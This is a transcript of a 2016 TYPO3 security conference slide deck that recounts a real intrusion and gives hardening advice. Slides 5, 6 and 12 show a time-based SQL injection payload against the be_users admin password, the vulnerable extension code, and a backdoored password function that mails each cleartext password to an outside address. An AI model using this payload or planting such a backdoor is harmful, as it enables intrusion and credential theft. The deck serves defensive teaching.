2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source:...

61
TYPO3 Security Jochen Weiland CertiFUNcation 2016

Transcript of 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source:...

Page 1: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

TYPO3 Security

Jochen Weiland CertiFUNcation 2016

Page 2: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Do you know Belarus?

Page 3: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Do you know Belarus?

1670 km

Minsk

Page 4: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Even if you don’t plan to visit them…

They may want to visit YOU!

(or your server)

Page 5: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

They Check for SQL Injection in Extensions

with sqlmap

/index.php?filterinvolved=&id=826&note=note6&filtertyp=1&filternote=3 AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) FROM be_users WHERE admin=1 and disable=0 and deleted=0 LIMIT 0,1),33,1))>1,0,2)))))

Page 6: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Extension contained this code:

$add_where[] = ' AND '.$_GET['note'].' = '.$_GET['filternote'];

$sql = 'SELECT uid, einrichtung, pdf FROM tx_...... WHERE pid = "'.$pid .'" '.$add_where;

Page 7: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption
Page 8: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Now the hacker can login as an administrator

• View/modify/delete any data

• install t3quixplorer - has access to file system, can upload any file anywhere

Page 9: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

…and leave some backdoor

Page 10: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

But this is not all…

• install local saltedpassword extension(priority over system extension)

Page 11: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

But this is not all…

• install local saltedpassword extension(priority over system extension)

• Extension has a special feature:

Page 12: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

But this is not all…

• install local saltedpassword extension(priority over system extension)

• Extension has a special feature:

protected function cryptPassword($password, $setting) { $saltedPW = NULL; mail("[email protected]", "TYPO3", $password); (or mail(„[email protected]“, "TYPO3", $password);)

Page 13: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

What to do next

• Take web site offline

• Find, remove and clean up all affected files

• Find point of entry and fix the security hole

• Change all passwords (Backend Users, Frontend Users, MySQL, Install Tool, Encryption Key)

• Notify users, customers, authorities…

Page 14: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Security Threats• Information Disclosure

• Identity Theft

• SQL Injection

• Code Injection

• Authorization Bypass

• Cross Site Scripting (XSS)

• Cross Site Request Forgery (XSRF)

Page 15: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption
Page 16: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption
Page 17: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Published Exploits

June 1, 2016

Joomla 1148

Wordpress 900

Drupal 26

TYPO3 15

Source: exploit-db.com

Page 18: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Passwords

Page 19: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Secure Passwords!

• Minimum length of 9 Characters

• Mix A-Z, a-z, 0-9, special characters

• No Personal Information

• Nothing from a Dictionary

Page 20: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Secure Passwords!

• Minimum length of 9 11 Characters

• Mix A-Z, a-z, 0-9, special characters

• No Personal Information

• Nothing from a Dictionary

Page 21: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption
Page 22: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption
Page 23: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Secure Passwords!

• NEVER the same password for different sites!

• NEVER login anywhere without SSL when using public WiFi!

• Use a Password Manager!

Page 24: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption
Page 25: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

You all follow these rules, right?

Page 26: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Source: https://www.leakedsource.com/blog/linkedin

Page 27: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Keep TYPO3 Source and Extensions

up-to-date

Page 28: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Subscribe to TYPO3-announce on lists.typo3.org

Page 29: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Security Bulletin? Install Update asap!

Page 30: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Use Encryption

• Provide https:// for everything

Page 31: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Test your SSL Certificate

• https://www.ssllabs.com/ssltest/

Page 32: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption
Page 33: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption
Page 34: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Never trust any User Input

Page 35: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

User Input

• Data submitted in Forms

• Data submitted as parameter in URL

• Data submitted as a file or file name

• ALWAYS filter, escape, white-list

Page 36: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Information Disclosure

Page 37: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption
Page 38: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption
Page 39: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Secure Headers

• HSTS: Downgrade Attacks, Cookie Hijacking

• X-Frame: Clickjacking

• X-XSS Protection

• X-Content-Type-Options

https://www.owasp.org/index.php/OWASP_Secure_Headers_Project

Page 40: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

config.additionalHeaders = strict-transport-security: max-age=31536000; includeSubdomains | x-frame-options: SAMEORIGIN | X-XSS-Protection: 1; mode=block | X-Content-Type-Options: nosniff | X-Powered-By: nothing

Add this to TS Setup

Page 41: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

HSTS - HTTP Strict Transport Security

• Browser should only connect through HTTPS, never HTTP with this web site

Page 42: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

X-Frame-Options

• Prevents display of content if embedded in a frame of other web sitesdenyno rendering in frames at allsameoriginonly in frames from same domainallow-from: DOMAIN specifiy allowed domain

Page 43: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

X-XSS-Protection

• Enables Cross-Site Scripting Filter in Browser 1Filter enabled, Browser sanitizes page 1; mode=block Filter enabled, Page not rendered

Page 44: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

X-Content-Type-Options

• nosniff Prevents IE and Chrome from MIME-sniffing

• CSS and Scripts will only be loaded, if correct MIME type is specified, i.e.text/csstext/javascript

Page 45: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Disable Directory Index

Page 46: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Disable Directory Index

Page 47: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

database.sql

Page 48: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Apache Configuration

<Directory/path/to/your/webroot/>OptionsIndexesFollowSymLinks</Directory>

Page 49: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

SQL Injection

Page 50: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption
Page 51: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption
Page 52: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

# deny SQL injection attacks RewriteCond %{QUERY_STRING} union [NC] RewriteRule .* /404.html? [R=301,L]

Add this to .htaccess

Page 53: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption
Page 54: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Restrict Access

Page 55: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Never use FTP! All data is sent in clear text!

Page 56: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Restrict Server Ports

• Port 80, 443 (Browser)

• Port 22 (SSH)

Page 57: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Database Access

• Limit privileges

• Don’t allow access from outside

• Do not bind DB server to network interface

Page 58: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

File Access

• Do not allow access to file extensions:.t3d, .sql, .ts, .bak, .tmp, … in .htaccess: <FilesMatch "\.(t3d|sql|ts|bak|tmp)$"> Order Allow,Deny Deny from all </FilesMatch>

Page 59: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Extensions

• Remove unused Extensions

• Remove „Development“ Extensions from Live System- phpmyadmin - t3quixplorer - extension_builder

Page 60: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Deny Access to Hacker from Belarus

• in .htaccess: order allow,deny deny from 178.122.

Page 61: 2016-06-01 - TYPO3 Security CertiFUNcation 2016 Publish...Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com. Passwords. Secure Passwords! ... Install Update asap! Use Encryption

Helpful Links

• Contact the Security Team:security @ typo3.org

• Read the TYPO3 Security Guide:docs.typo3.org/typo3cms/SecurityGuide/

• Subscribe to TYPO3-announce:lists.typo3.org